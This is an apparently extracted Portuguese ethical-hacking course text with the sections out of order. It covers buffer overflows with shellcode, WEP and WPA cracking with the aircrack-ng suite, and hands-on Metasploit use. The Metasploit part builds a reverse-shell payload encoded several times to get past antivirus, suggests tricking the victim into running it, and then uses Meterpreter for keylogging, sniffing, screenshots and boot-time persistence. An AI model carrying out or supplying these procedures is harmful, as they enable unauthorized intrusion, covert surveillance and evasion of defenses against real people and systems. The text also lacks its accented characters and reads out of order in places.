18.1. Objetivos
Entender o que um Buffer Overflow Aprender como explorar uma falha dessa categoria
Captulo 18 Exploits - 208 destas. O endereo de base da pilha fixo e o acesso estrutura realizado por meio das instrues PUSH e POP implementadas pelo processador. O registrador chamado "ponteiro de pilha" (SP) aponta para o topo da pilha. A pilha consiste em uma seqncia de frames que so colocados no topo quando uma funo chamada e so retirados ao final da execuo. Um frame contm os parmetros para a funo, suas variveis locais, e os dados necessrios para recuperar o frame anterior, incluindo o valor do ponteiro de instruo no momento da chamada de funo. Dependendo da implementao, a pilha pode crescer em direo aos endereos altos ou baixos. O ponteiro de pilha tambm de implementao dependente, podendo apontar para o ltimo endereo ocupado na pilha ou para o prximo endereo livre. Como o texto trata da arquitetura Intel x86, iremos utilizar uma pilha que cresce para os endereos baixos, com o ponteiro de pilha (registrador ESP) apontando para o ltimo endereo da pilha. Alm de um ponteiro de pilha, tambm conveniente contar com um "ponteiro de frame" (FP) que aponta para um endereo fixo no frame. A princpio, variveis locais podem ser referenciadas fornecendo-se seus deslocamentos em relao ao ponteiro de pilha. Entretanto, quando palavras so inseridas e retiradas da pilha, estes deslocamentos mudam. Apesar de em alguns casos o compilador poder corrigir os deslocamentos observando o nmero de palavras na pilha, essa gerncia cara. O acesso a variveis locais a distncias conhecidas do ponteiro de pilha tambm iria requerer mltiplas instrues. Desta forma, a maioria dos compiladores utiliza um segundo registrador que aponta para o topo da pilha no incio da execuo da funo, para referenciar tanto variveis locais como parmetros, j que suas distncias no se alteram em relao a este endereo com chamadas a PUSH e POP. Na arquitetura Intel x86, o registrador EBP utilizado para esse propsito. Por causa da disciplina de crescimento da pilha, parmetros reais tm deslocamentos positivos e variveis locais tm deslocamentos negativos a partir de FP. A primeira instruo que um procedimento deve executar quando chamado
Captulo 18 Exploits - 209 salvar o FP anterior, para que possa ser restaurado ao fim da execuo. A funo ento copia o registrador de ponteiro de pilha para FP para criar o novo ponteiro de frame e ajusta o ponteiro de pilha para reservar espao para as variveis locais. Este cdigo chamado de prlogo da funo. Ao fim da execuo, a pilha deve ser restaurada e a execuo deve retomar na instruo seguinte de chamada da funo, o que chamamos de eplogo. As instrues CALL, LEAVE e RET nas mquinas Intel so fornecidas para parte do prlogo e eplogo em chamadas de funo. A instruo CALL salva na pilha o endereo da instruo seguinte como endereo de retorno da funo chamada. A instruo RET deve ser chamada dentro do procedimento e restaura a execuo no endereo que est no topo da pilha.
18.4. Shellcode
Shellcode um grupo de instrues assembly em formato de opcode para realizar diversas funes como chamar uma shell, ou escutar em uma porta. Geralmente, um shellcode utilizado para explorar determinada vulnerabilidade, ganhando-se controle sobre a aplicao vulnervel e podendo-se executar qualquer instruo desejada. Exemplo de shellcode mais simples possvel:
Captulo 18 Exploits - 210 Shellcode = \xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80 O shellcode acima no injetvel, pois possui Null Bytes (/x00), o que caracteriza um final de string. Portanto, ao usarmos o shellcode acima, o programa encontrar o final da string e parar, no executando o restante do nosso payload. Mais detalhes veremos logo abaixo. Shellcode Injetvel: \x31\xdb\xb0\x01\xcd\x80 No exemplo de explorao de um Stack Overflow, utilizaremos um outro shellcode, que se encarregar de executar o /bin/sh ao invs de executar a funo exit(), como o shellcode acima faz.
Captulo 18 Exploits - 211 tipos de ataques de estouro de buffer, entre eles stack smashing attacks, ataques contra buffers que se encontram na pilha (vou cham-la de stack), e heap smashing attacks, que so ataques contra buffers que se encontram na heap. Tecnicamente, um buffer overflow um problema com a lgica interna do programa, mas a explorao dessa falha pode levar a srios prejuzos, como por exemplo, o primeiro grande incidente de segurana da Internet - o Morris Worm, em 1988 - utilizava tcnicas de estouro de buffer, num programa conhecido como fingerd. O objetivo de uma explorao contra um programa privilegiado vulnervel a buffer overflow conseguir acesso de tal forma que o atacante consiga controlar o programa atacado, e se o programa possuir privilgios suficientes, ou seja se ele possui flag suid root, controlar a mquina. Abaixo temos um pequeno programa vulnervel, que permitir que faamos uma prova de conceito: #include <stdio.h> main() { char *name; char *dangerous_system_command; name = (char *) malloc(10); dangerous_system_command = (char *) malloc(128); printf("Address of name is %d\n", name); printf("Address of command is %d\n", dangerous_system_command); sprintf(dangerous_system_command, "echo %s", "Hello world!"); printf("What's your name?"); gets(name); system(dangerous_system_command); }
Salve o arquivo como overrun.c, depois compile e execute-o com os seguintes comandos: #gcc overrun.c -o over #./over
Para test-lo, digite o seguinte no prompt exibido pelo programa: 0123456789123456ls E veja o que acontece! O que causa essa falha, o fato de que a varivel name ocupa apenas um determinado espao (que pequeno) na memria. Quando estouramos esse espao, e conseguimos sobrescrever a pilha EIP da memria, inserindo um comando que queiramos que seja executado, o resultado final a execuo do mesmo.
18.6. Concluso
Com isso, conseguimos demonstrar o perigo que uma falha de programao em um programa. possvel obter controle completamente sobre o programa que esta sendo explorado. Se o programa oferecer algum servio remotamente, a falha pode ser explorada remotamente, da mesma forma que foi explorada localmente, apenas trocando o shellcode e criando os sockets que sero responsveis para se conectar no programa.
17.1. Objetivos
Entender as tcnicas para acessar as redes sem fio Uma viso sobre WEP, WPA e as tcnicas de ataque Entender como funciona o ataque baseado em Rainbow Tables
17.2. Introduo
Nunca deixe sua rede wireless desprotegida, sem senha ou com protocolo WEP, pois por padro ser quebrado por qualquer pessoa com pouco conhecimento, podendo assim ter acesso a informaes confidenciais. Uma rede wireless mal projetada pode driblar todo o arsenal de defesa j implementado. Vamos imaginar a seguinte situao: sua empresa colocou uma muralha (ex: firewall) para proteo dos ataques. Porm, a muralha completamente ineficiente contra os ataques areos (ex: wireless). Antes de comear a implementar uma rede wireless, faa um planejamento e estude toda a topologia da rede. No se esquea de evitar os ataques areos!
17.3. Wardriving
Um dos ataques mais comuns e comentados em redes wireless o War Driving, que tem como objetivo andar com um dispositivo wireless em busca de Access Points. Esse ataque tira proveito de uma caracterstica fundamental: difcil controlar e limitar o alcance de redes wireless. O atacante pode estar neste exato momento passeando no seu carro e com o laptop ligado procurando redes wireless vulnerveis. Essa tcnica tem como objetivo identificar as redes sem fio acessveis de um determinado local.
Captulo 17 Ataques a Redes Sem Fio - 200 -w = Prefixo do arquivo a ser salvo -i = Capturar apenas pacotes que contem IVs wlan0 = Interface wireless Agora, vamos enviar um pedido de falsa associao para o nosso alvo (Access Point), falando para ele aceitar os nossos pacotes: # aireplay-ng -1 0 -e invasao_ap -a 00:00:00:00:00:01 -h 00:00:00:00:00:02 wlan0 Onde: -1 = Opo para mandar uma autenticao falsa 0 = Tempo para reassociao, em segundos -e = ESSID do alvo (Nome do access point) -a = Mac Address do Access Point -h = Nosso MAC Address wlan0 = Nossa interface wireless Agora, vamos tentar enviar arp request para a rede, na tentativa que alguma maquina receba e comece a enviar arp replay para ns, aumentando o trfego rapidamente. Isso pode ser observado na tela do airodump-ng, onde a quantidade de "DATA" capturada aumentar rapidamente. # aireplay-ng -3 -b 00:00:00:00:00:01 -h 00:00:00:00:00:02 wlan0 Onde: -3 = Opo para arp request -b = MAC Address do Access Point -h = MAC Address usado na associao. Nesse caso, o nosso MAC wlan0 = Nossa interface wireless Agora que temos uma quantidade grande de pacotes, podemos executar o
Captulo 17 Ataques a Redes Sem Fio - 201 aircrack para de fato, descobrirmos a chave: #aircrack-ng -a 1 wep-01.ivs Onde: -a = Modo para forar um determinado tipo de ataque 1 = WEP wep-01.ivs = Arquivo gerado pelo airodump-ng (selecionamos o prefixo wep e apenas pacotes IVs) Agora aguardar que o aircrack-ng nos mostrar a chave. Caso ele no consiga, tente capturar mais pacotes e execute novamente.
Captulo 17 Ataques a Redes Sem Fio - 202 uma rede sem fio. Exemplo de comando no Linux para alterar o MAC Address: # ifconfig wlan0 down hw ether 00:00:00:00:01:01 E como podemos conhecer o MAC Address de um usurio de uma determinada rede? Simples, sniffer novamente. Como exemplo, podemos utilizar o airodump, e ele nos mostrar os clientes associados a um determinado Access Point. Com isso, basta utilizarmos o MAC Address desse cliente na nossa interface de rede que conseguiremos acessar o Access Point.
Captulo 17 Ataques a Redes Sem Fio - 203 -0 5 = opo de deautenticao, enviando 5 requisies -a MAC Address do Access Point alvo -c MAC Address do cliente que vamos deautenticar wlan0 = nossa interface wireless Quebrando a senha capturada com o airodump-ng: # aircrack-ng -a 2 -w wordlist.txt wpa-01.cap Onde: -a = Modo para forar um determinado tipo de ataque 2 = WPA/WPA2-PSK -w wordlist wpa-01.cap = arquivo gerado pelo airodump-ng
http://www.securitytube.net/Using-CowPatty-in-Backtrack-4-video.aspx
Captulo 17 Ataques a Redes Sem Fio - 204 Download de rainbow tables: http://www.security-database.com/toolswatch/WPA-Rainbow-TablesOffensive.html
Captulo 17 Ataques a Redes Sem Fio - 205 access point real e ento conectar ao access point do atacante. Ferramenta para configurar um access point: #./airsnarf
17.11. Contramedidas
Utilizar senhas fortes nos Access point No usar WEP No confiar em controle de acesso via MAC Address Possuir uma poltica de segurana atualizada, que controle as redes sem fio.
19.1. Objetivos
Entender como funciona o Metasploit Entender o funcionamento e como utilizar o Meterpreter Aprender como conseguir conexo direta e reversa com o alvo Aprender a implantar backdoors atravs do Metasploit Aprender a comprometer uma mquina da rede interna atravs de uma DMZ comprometida
19.2. Introduo
A pesquisa de vulnerabilidades de software evoluiu muito nos ltimos anos. O pesquisador de vulnerabilidades o tcnico responsvel em encontrar falhas no software que podem levar a um mal funcionamento do software, ou ainda a uma possvel falha de segurana. A viso geral sobre segurana no se limita apenas a um possvel invasor ou acesso no autorizado ao sistema, segurana de software significa manter o software em seu perfeito funcionamento, ou seja, o funcionamento imaginado pelo desenvolvedor. No cenrio atual da segurana da informao, infelizmente tentamos proteger a informao no pela raiz do problema, escrevendo programas com qualidade, mas criando outros softwares para proteger um software mal desenvolvido anteriormente. Por exemplo: instalamos um software que tem erros de programao que pode ser explorado por um intruso, ento instalamos um firewall que tentar bloquear o trfego de dados entre o software e o acesso no autorizado. Esse tipo de abordagem no tem se mostrado muito eficaz. E se esse programa feito para proteger o software mal desenvolvido tambm conter os mesmos erros de programao? Ferramentas como o Metasploit podem ajudar aos desenvolvedores de software produzirem software com maior qualidade, do ponto de vista da segurana, na medida que incentiva os programadores a pensarem a respeito de como algumas tcnicas de programao levam as falhas de segurana. O Metasploit framework um conjunto das melhores plataformas de aprendizagem e investigao para o profissional de segurana ou do hacker tico. Ele possui centenas de exploits, payloads e ferramentas muito avanadas que nos permite testar vulnerabilidades em muitas plataformas, sistemas operacionais, e servidores. Este framework deve ser utilizado com muita cautela e somente para fins ticos.
Captulo 19 Metasploit Framework - 213 acelerar o desenvolvimento, ensaio e utilizao de exploits. O projeto relacionado a este Framework, de acordo com seus criadores, que nasceu como um jogo, tem mostrado um crescimento espetacular em especial nos ltimos tempos (na minha modesta opinio... especificamente a partir da verso 2.2), aspecto que lhe ajudou a conquistar um lugar privilegiado no mbito do kit de ferramentas de todo profissional relacionado de alguma forma ou de outra com as tecnologias de segurana da informao. Escrito na maioria das vezes em "Perl" (seu nico defeito, de acordo com o parecer do nmero cada vez maior de amantes de "Python"...) e com vrios componentes desenvolvidos em "C " e "Assembler", sua portabilidade est assegurada, o que contribui em larga medida para a sua aceitao macia, porque qualquer que seja a sua escolha de plataforma de uso (Like-Unix, BSD, Mac X, Windows etc), pode instal-lo e desfrutar todos os seus poderes em poucos minutos e sem grandes dificuldades. Um aspecto interessante no que se refere concesso de licenas para as novas verses do Metasploit Framework, o fato de que ela baseada tanto em GPL v2 como um "Perl Artistic License", permitindo a sua utilizao em projetos Open Source assim como em projetos comerciais. O principal objetivo do MSF criar um ambiente de pesquisa,
desenvolvimento e explorao de vulnerabilidades de software, fornecendo as ferramentas necessrias para o ciclo completo da pesquisa que pode ser divido basicamente em: Descoberta da vulnerabilidade: Onde o pesquisador descobre um erro de programao que pode levar ou no a uma brecha de segurana; Anlise: Onde o pesquisador analisa a vulnerabilidade para determinar quais as maneiras pela qual a mesma pode ser explorada. Perguntaschave so feitas nessa fase do desenvolvimento, como por exemplo: De qual maneira a vulnerabilidade pode ser explorada? Localmente ou remotamente? Entre outras dezenas mais; Desenvolvimento do exploit: Depois de respondidas as perguntas da fase de anlise, comea o desenvolvimento da explorao em si, como
Captulo 19 Metasploit Framework - 214 prova da existncia real da vulnerabilidade. Tcnicas de engenharia reversa, programao, debugger etc so usadas nessa fase; Teste do exploit: Nessa fase o exploit testado em diferentes ambientes e variveis, service packs, patchs etc. O exploit em si a prova definitiva que a vulnerabilidade pode ser explorada.
Desde a consolidao do Metasploit Framework, a comparao com produtos comerciais com caractersticas semelhantes inevitvel. Projetos CANVAS da Immunity Sec ou CORE IMPACT da Core Security Technology tem uma grande clientela, que vo desde grandes clientes corporativos que fazem uso destes produtos na hora de fazerem suas prprias tentativas de invaso, at centenas de consultores de segurana independente que utilizam-no como uma ferramenta para vender este servio a terceiros. Sem dvida, a principal diferena entre Metasploit Framework e este tipo de produto o "foco". Embora os produtos comerciais precisem fornecer constantemente aos seus clientes os mais recentes exploits acompanhados de interfaces grficas bonitas e intuitivas, o Metasploit Framework projetado para facilitar a investigao e experimentao de novas tecnologias. Este ponto, entre outros, faz com que exista mercado para todos. Os pesquisadores, estudantes, curiosos e independentes, podem obter, sem qualquer custo, o Metasploit, modificar, personalizar, utiliz-lo para seu trabalho e ver como ele funciona internamente para aprender mais, enquanto que, por outro lado, grandes empresas que exigem uma excelente soluo corporativa e pode arcar com o custo possui certamente o privilgio da qualidade dos produtos anteriormente mencionados.
Metasploit Framework pode ser instalado tanto no Unix/Linux quanto no Windows. Aqueles que se sentem confortveis com o Windows, tem o prazer de saber
Captulo 19 Metasploit Framework - 215 que a instalao do Metasploit no tem grandes segredos. Para esta ltima verso, os desenvolvedores do Metasploit surpreendem-nos com um simptico assistente, que ir guiar-nos atravs da implementao de um ambiente personalizado Cygwin, seguida pela instalao e configurao do prprio Framework. Assim, apenas o download e a execuo de um nico arquivo chamado "framework-3.4.0.exe" nos permitir, em apenas alguns momentos, o acesso ao console Metasploit e desfrutar de todas as suas ferramentas. Se, pelo contrrio, a sua deciso pelo Unix/Linux, voc pode fazer o download da verso mais recente para esta plataforma, comprimida e de denominao "framework-3.5.1-linux-i686.run".
http://updates.metasploit.com/data/releases/framework-3.5.1-linux-i686.run
Aps ter feito isso, precisa apenas dar permisso de execuo ao arquivo e execut-lo com o comando: # chmod 755 framework-3.5.1-linux-i686.run #./framework-3.5.1-linux-i686.run
Embora seja verdade que com o que aconteceu at agora suficiente para se familiarizar com o produto, se sua inteno a de obter todo o proveito dessa ferramenta, provavelmente quer ter a certeza que tenha instalado o mdulo Perl chamado "Net:: SSLeay" e, se no for esse o caso, proceda sua instalao aproveitando que o mesmo instala-se com o Metasploit, entre os arquivos organizados no subdiretrio "extras" de seu "path" de instalao. Embora as medidas mencionadas nos pargrafos anteriores funcionem na maioria dos casos, ser bom saber que dependendo da distribuio Linux que voc est usando, provavelmente vai contar com alguma facilidade adicional ao instalar Metasploit-Framework com o seu gerenciador de pacotes preferido.
A primeira verso estvel do MSF foi lanada em meados de 2004. Originalmente escrito em Perl, Assembler e C. Seus desenvolvedores (veja a lista no endereo) resolveram quebrar o paradigma de como os exploits eram desenvolvidos at ento.
Captulo 19 Metasploit Framework - 217 Escrever um exploit anteriormente era uma tarefa complexa, e a explorao de uma vulnerabilidade exigia conhecimentos profundos em programao especifica para cada plataforma. O MSF veio para diminuir essa complexidade e fazer intenso reuso de cdigo, assim como faz a concepo da programao orientada a objetos. Digamos que antes do MSF o desenvolvimento dos exploits era feito no melhor estilo da programao procedural tradicional, e depois do MSF a pesquisa comeou a se basear na programao orientada a objetos. A verso 2.x foi substituda pela verso 3.x, totalmente reescrita na linguagem Ruby que uma linguagem O-O real, com caractersticas nicas, como: alto nvel de introspeco, recriao automatizada de classes, suporte a threading com plataforma independente e, finalmente, porque uma linguagem que os desenvolvedores realmente sentem prazer em usar. Como resultado do uso do Ruby, o cdigo original foi enxugado em quase 40, entretanto algumas partes do cdigo ainda esto em Assembler e C. Com a verso 3.x, a licena passou da GPL 2 para a Metasploit Framework License v1.2, mais parecida com a GPL 3. O Objetivo da nova licena proteger o ncleo do projeto do uso comercial, mas ao mesmo tempo, autorizar a integrao com mdulos comerciais agregados, desde que estes mdulos no modifiquem o framework.
O ncleo do Metasploit reside no REX (Ruby Extension Library), que uma coleo de classes e mtodos. A descrio completa das classes e mtodos pode ser acessada no endereo: http://framework.metasploit.com/documents/developers_guide.pdf E a documentao da API REX: http://framework.metasploit.com/documents/api/rex/index.html Para exemplificar algumas entre as muitas funcionalidades dessas classes do REX, durante o desenvolvimento do exploit precisamos ajustar o stack pointer, muitas vezes isso significa chamar determinado operador, que so especficos para cada plataforma, como por exemplo: jmp opcode na arquitetura x86. Ento invocamos a classe Rex::Arch:: para ajustar o stack pointer e depois especificarmos a plataforma com Rex::Arch::X86 com os mtodos jmp, mov, sub, pack, add, call, clear etc. Outro exemplo famoso e infame a classe Rex::Exploration::Seh. O Structured Exception Handling, SEH, uma proteo usada para checar o controle do fluxo cada vez que uma exceo acontece. Um estouro de buffer modifica o fluxo comum
Captulo 19 Metasploit Framework - 219 do programa e o SEH trata desses erros. A classe Rex::Exploration::Seh pode ser usada para evadir o SEH. Para maiores informaes consulte: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html Ou ainda: http://freeworld.thc.org/download.php?t=pf=Practical-SEH-exploitation.pdf
Framework Core: formado de vrios sub-sistemas como gerenciamento de mdulos, sesses, despacho de eventos etc. Framework Base: Prov a interface para interagir com o Framework Core provendo configuraes, registro de logs e sesses. Interfaces: Prov a interface com o usurio, atualmente so: msfconsole, msfcli, msfgui, msfweb, msfd. Mdulos: So compostos pelos exploits, payloads, encoders, NOP generators e mdulos auxiliares, como por exemplo, scanners, conexo com base de dados (MSSQL), fuzzers de protocolo etc. A lista completa pode ser acessada com o comando show all na interface msfconsole e informaes especficas do mdulo com o comando info <module_name>. Plugins: Podem ser comparados aos mdulos no sentido de trazer funes extras ao framework.
Para o iniciante importante saber a diferena entre exploit e payload. Exploit a explorao da falha em si, que permite ao explorador fazer alguma coisa. O payload a coisa que ser feita. Um comando a ser executado, um shell etc. O Metasploit conta ainda com outras tecnologias, como por exemplo, a evaso de Intrusion Detection Systems (IDS) e Intrusion Prevention Systems (IPS), tornando a vida dos detectores de intruso mais difcil. Atualmente os IDSs e IPSs ainda tem muitos problemas, e certamente ainda esto longe de uma funcionalidade
Captulo 19 Metasploit Framework - 220 considerada ideal e robusta. O Metasploit pode servir para auditar essas ferramentas. Existem varias classes que podem ser usadas para evadir os detectores de intruso, TCP::max_send_size, TCP::send_delay, HTTP::chunked, HTTP::compression,
SMB::pipe_evasion, DCERPC::bind_multi, DCERPC::alter_context, entre outros. Outra tecnologia que merece destaque o Metasploit anti-forensics chamada de MAFIA (Metasploit Anti-Forensic Investigation Arsenal). O MAFIA constitudo basicamente das ferramentas: Timestomp: Usado para modificar os arquivos do sistema de arquivo New Technology File System (NTFS). Pode-se modificar os valores de quando os arquivos foram criados, deletados etc. Slacker: Usado para esconder arquivos em parties NTFS. Sam Juicer: Um mdulo do Meterpreter usado pra extrair hashes dos arquivos SAM sem acessar o disco rgido. Transmogrify: signaturing. Social-Engineering Toolkit: O Social-Engineering Toolkit (SET) foi Ferramenta usada pra passar pelo EnCases file-
desenvolvido por David Kennedy (ReL1K) e incorpora muitos ataques teis de engenharia social, todos em uma interface simples. O principal objetivo do SET automatizar e melhorar muitos dos ataques de engenharia social a partir dele.
Captulo 19 Metasploit Framework - 221 O meterpreter supera as limitaes e fornece vrias APIs que permitem ao atacante executar diversos ataques de explorao no shell meterpreter, podendo ir mais a fundo e descobrindo o mximo possvel de informaes do alvo e da rede interna. O Meterpreter proporciona uma enorme flexibilidade para o processo de psexplorao, deixando-o at escrever seus prprios scripts. Para finalizar esse capitulo introdutrio, que no tem por objetivo ser exaustivo com relao tecnologia do framework, lembre-se de que, como todo projeto open source, muito dinmico e novidades so incorporadas da noite para o dia. Esperamos que todos possam aprendam muito mais sobre segurana com o uso do Metasploit Framework.
Metasploit.ogg SecurityTesting.ogg
Depois de alguns segundos (dependendo da velocidade de seu computador), a tela de MSFConsole aparecer conforme a imagem. Leve alguns momentos para explorar a tela de console digitando "help" no prompt msf>.
Para ver os vrios exploits existentes e ter uma leve noo de sua aplicabilidade, digite "show exploits" no prompt msf>. Veja a figura abaixo:
Para informao sobre um comando em particular, voc pode usar o comando de info. Voc sempre poder ter certeza do comando se for til antes de voc execut-lo. Olhemos para informao disponvel para o comando lsass_ms04_011. Digite: "info windows/smb/ms04_011_lsass"
Veja abaixo o que aparecer na tela para voc: >> info windows/smb/ms04_011_lsass Name: Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow Version: 4511 Platform: Windows Privileged: Yes License: Metasploit Framework License Provided by: hdm <hdm@metasploit.com> Available targets:
Captulo 19 Metasploit Framework - 225 Id Name -- ---0 Automatic Targetting 1 Windows 2000 English 2 Windows XP English Basic options: Name Current Setting Required Description -------- ------------------- ------------ --------------RHOST yes The target address RPORT 445 yes Set the SMB service port Payload information: Space: 1024 Avoid: 7 characters Description: This module exploits a stack overflow in the LSASS service, this vulnerability was originally found by eEye. When re-exploiting a Windows XP system, you will need need to run this module twice. DCERPC request fragmentation can be performed by setting 'FragSize' parameter. References: http://www.securityfocus.com/bid/10108 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0533 http://www.osvdb.org/5248 http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx http://milw0rm.com/metasploit/36
Essas informaes exibidas sobre o exploit so muito importantes para sabermos como ele funciona e qual a utilidade dele. pesquisando dessa forma que definiremos qual o melhor exploit para utilizarmos contra um determinado alvo. Para utilizar esse exploit, por exemplo, digite no prompt msf>: use Windows/smb/ms04_011_lsass
O prompt msf> automaticamente muda para "msf exploit(ms04_011_lsass)>" mostrando que o exploit foi selecionado e est pronto para uso. Agora vamos ver que tipo de alvo pode ser afetado por esse exploit. Basta digitar "show targets" no prompt msf>. Ser exibida a seguinte tela:
Agora precisamos saber o que podemos fazer com esse exploit, j que o exploit a explorao da falha em si. Portanto, precisamos de um programa (ou mdulo) que utilize a falha da maneira que precisamos (execute um comando, rode um shell e etc), esse programa ou mdulo um payload. Para sabermos qual payload est disponvel para esse exploit, digite no prompt msf> o comando "show payloads", e ento a tela a seguir ser exibida com uma lista de todos os payloads compatveis com esse exploit.
Para definirmos o tipo de alvo que atacaremos explorando suas falhas, digite "set TARGET #" substituindo o # pelo nmero de identificao do tipo de alvo que atacaremos como mostrado numa tela anterior (nesse caso s temos as opes 0 =
Captulo 19 Metasploit Framework - 228 automtico, 1 = Windows 2000 e 2 = Windows XP). Para sabermos o tipo de S.O. de nosso alvo, deveremos ter pesquisado isso na fase de fingerprinting, onde colhemos informaes sobre nossos hosts alvos. Vamos, como exemplo, atacar um host que tenha como seu S.O. o Windows XP e queremos rodar um Shell a partir dele para termos acesso mquina. Vou digitar "set target 2" no prompt msf> para informar que meu alvo uma mquina rodando o Windows XP. E, logo aps isso, vou digitar "set PAYLOAD generic/shell_bind_tcp" para definir o payload que utilizarei, e me retornar um shell de comando quando rodar o exploit contra o alvo.
Nesse ponto, se digitarmos "?" no prompt msf>, alm da explicao dos comandos bsico, surgem outros comandos que precisaremos utilizar. Veja abaixo:
Como exibido com o comando "info" usado anteriormente, temos duas opes bsicas desse exploit que precisamos configurar para que ele possa ser utilizado. So elas: Name Current Setting Required Description -------- ------------------- ------------ --------------RHOST yes The target address RPORT 445 yes Set the SMB service port
Captulo 19 Metasploit Framework - 229 Vemos que o valor de RPORT est como 445, que ser a porta atravs da qual ser lanado o exploit, mas podemos mudar esse valor se quisermos. Digamos que atravs de um scan anterior descobri algumas vulnerabilidades na porta 150, ento essa mesma que vou utilizar, digitando o seguinte comando no prompt msf> "set RPORT 150". Vejamos na tela abaixo como ficou aps a execuo desse comando:
O valor da opo RPORT foi alterado para 150, que ser a porta utilizada para o ataque. Agora vamos outra opo. A opo RHOST definir o endereo que ser atacado via exploit, e precisamos configur-lo adequadamente, atribuindo o endereo IP do alvo. Digamos que quero atacar o IP 192.168.0.1, preciso digitar o comando no prompt msf>: set RHOST 192.168.0.1
Agora precisamos completar o exploit, executando-o contra o alvo. Para tanto, temos duas alternativas: 1. utilizar o comando "check" em primeiro lugar para ver se nosso alvo vulnervel a esse exploit e depois usar o comando "exploit" para execut-lo; ou 2. utilizar diretamente o comando "exploit" para executar o ataque, posto que alguns mdulos no aceitam a execuo do comando "check".
Captulo 19 Metasploit Framework - 230 No caso desse exploit, o comando "check" no suportado; ento teremos que usar o comando "exploit", sem a possibilidade de testar anteriormente se o alvo suscetvel ao ataque. Se o ataque falhar contra o alvo, um aviso como se segue ser exibido. Se no, sendo o alvo vulnervel a esse ataque, voc ser apresentado a uma interface de linha de comando interativa da mquina designada, ou seja, voc cair no prompt de comando. No desanime se no conseguir de primeira! Isto s significa que a mquina que est testando no vulnervel a esse ataque especfico!
Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo. Prosseguimos com o seguinte comando:
Ser criado no diretrio corrente o arquivo executvel "cliqueaqui.exe" Vamos analisar o nosso executvel com alguns antivrus on-line, para ver como ele ser caracterizado quando o alvo abri-lo no Windows. http://www.virustotal.com/pt/ http://virusscan.jotti.org/pt-br
Depois dos resultados, vamos fazer um tunning em nosso .exe: # ./msfpayload windows/shell/reverse_tcp LHOST=XX.XX.XX.XX
LPORT=4455 R | ./msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | ./msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | ./msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe
A opo -c diz quantas vezes cada encoder ir interagir com o nosso payload, nos dias de hoje, isso j no adianta muito, demonstrado apenas para ver as possibilidades de se redirecionar a sada de um encoder para outro. Depois do tunning em nosso .exe, vamos test-lo nos mesmos sites de antivrus que antes, e comparar os resultados. A partir da, engenharia social pura, onde deve usar a imaginao para convencer o alvo a executar o arquivo. Aproveite um pouco de seu tempo para ler o seguinte: # ./msfpayload -h # ./msfencode -h # ./msfencode -l
Captulo 19 Metasploit Framework - 232 Aps criar o .exe, codific-lo para torn-lo mais dificilmente detectvel por antivrus e envi-lo ao alvo, precisamos colocar o metasploit para escutar espera da conexo msf> ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST= 192.168.0.110 LPORT=4455 E Ao ser executado o nosso arquivo no computador do alvo, ser estabelecida uma conexo entre o atacante e o alvo. Assim ganhamos nossa shell meterpreter. Aparentemente parece que est travado, mas no est! Repare que a sesso meterpreter j foi criada, sendo assim, pressionamos Ctrl+C para finalizar este "travamento". Agora digite o comando: > sessions -l Temos uma sesso ativa com ID de nmero 1 identificando-a. Agora vamos interagir com o console meterpreter, basta o comando: > sessions -i 1
Se o alvo abrir o gerenciador de tarefas no windows, ver o processo de nosso executvel clique_aqui.exe rodando, o que pode gerar desconfiana. Precisamos migra para um outro processo, mais estvel e menos arriscado do usurio interromper, como o explorer.exe, por exemplo. Agora vejamos no console meterpreter o processo que estamos com o comando getpid, seguido do comando ps. Sabendo o nmero do processo para o qual queremos migrar, vamos executar o comando migrate [pid] para migrar de processo: > migrate 472
Com isso feito, vamos testar os comandos sysinfo e ipconfig. Para saber os comandos disponveis, digite help ou ?.
Agora vamos usar o keylogging e vamos tentar capturar o mximo das teclas digitadas pelo usurio. Com o comando keyscan_start iniciamos o nosso keylogger. > keyscan_start
Agora vamos ver o que nosso keylogger pegou com o comando keyscan_dump e logo em seguida finalizo o mesmo. > keyscan_dump > keyscan_stop
Primeiramente precisamos carregar o mdulo sniffer com o comando use sniffer. > use sniffer Em seguida, pedimos para listar as interfaces de rede com o comando sniffer_interfaces. > sniffer_interfaces Iremos iniciar nosso sniffer nesta interface indicada pelo nmero 1 com o comando "sniffer_start 1", podemos esperar o tempo que acharmos conveniente. > sniffer_start 1
Vejamos algumas informaes sobre o arquivo sniffer.cap usando o capinfos. > capinfos sniffer.cap
Vamos analisar o arquivo sniffer.cap com a ferramenta Wireshark. Basta abrir o Wireshark e ir em File > Open e apontar para o arquivo sniffer.cap.
E se a pessoa reiniciar ou at mesmo desligar a mquina destino? Para isso existe um script meterpreter que nos ajudar fazer o que queremos, seu nome persistence! Para que possamos manter o acesso com a mquina alvo, precisamos executar o seguinte comando no console meterpreter: > run persistence -X
O comando acima criar um arquivo executvel na maquina destino, a opo -X serve para que o arquivo criado seja executado durante o boot da mquina destino, vejam onboot=true. Repare na sada do comando o endereo IP local da mquina do atacante e que ela escutar na porta 4444, que a padro, podemos alterar a porta padro para outra que nos convenha usando a opo -p seguido do nmero da porta, exemplo, -p 5555. Para testarmos, feche a janela do console msf e abra-a novamente, vamos configurar o exploit multi/handler para ficar aguardando pela conexo.
Captulo 19 Metasploit Framework - 236 > use exploit/multi/handler > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST 192.168.0.110 > set LPORT 4444 > exploit
19.12.5. PrintScreen
Outro recurso interessante que o meterpreter nos oferece a possibilidade de tirarmos um printscreen da mquina alvo. > use espia
Captulo 19 Metasploit Framework - 237 Usamos o comando use espia, para carregar o mdulo meterpreter e em seguida executamos o comando screenshot seguido pelo caminho onde ser salvo nosso screenshot com o nome de print1.png. > screenshot /rot/print1.png
Para poder usar este recurso ser necessrio estar executando sob o processo explorer.exe, sendo assim migre para este processo caso no esteja, com o comando migrate. > migrate [pid_do_processo]
Captulo 19 Metasploit Framework - 238 Vamos agora especificar o exploit que iremos utilizar, d os seguintes comandos abaixo: msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe msf> show options
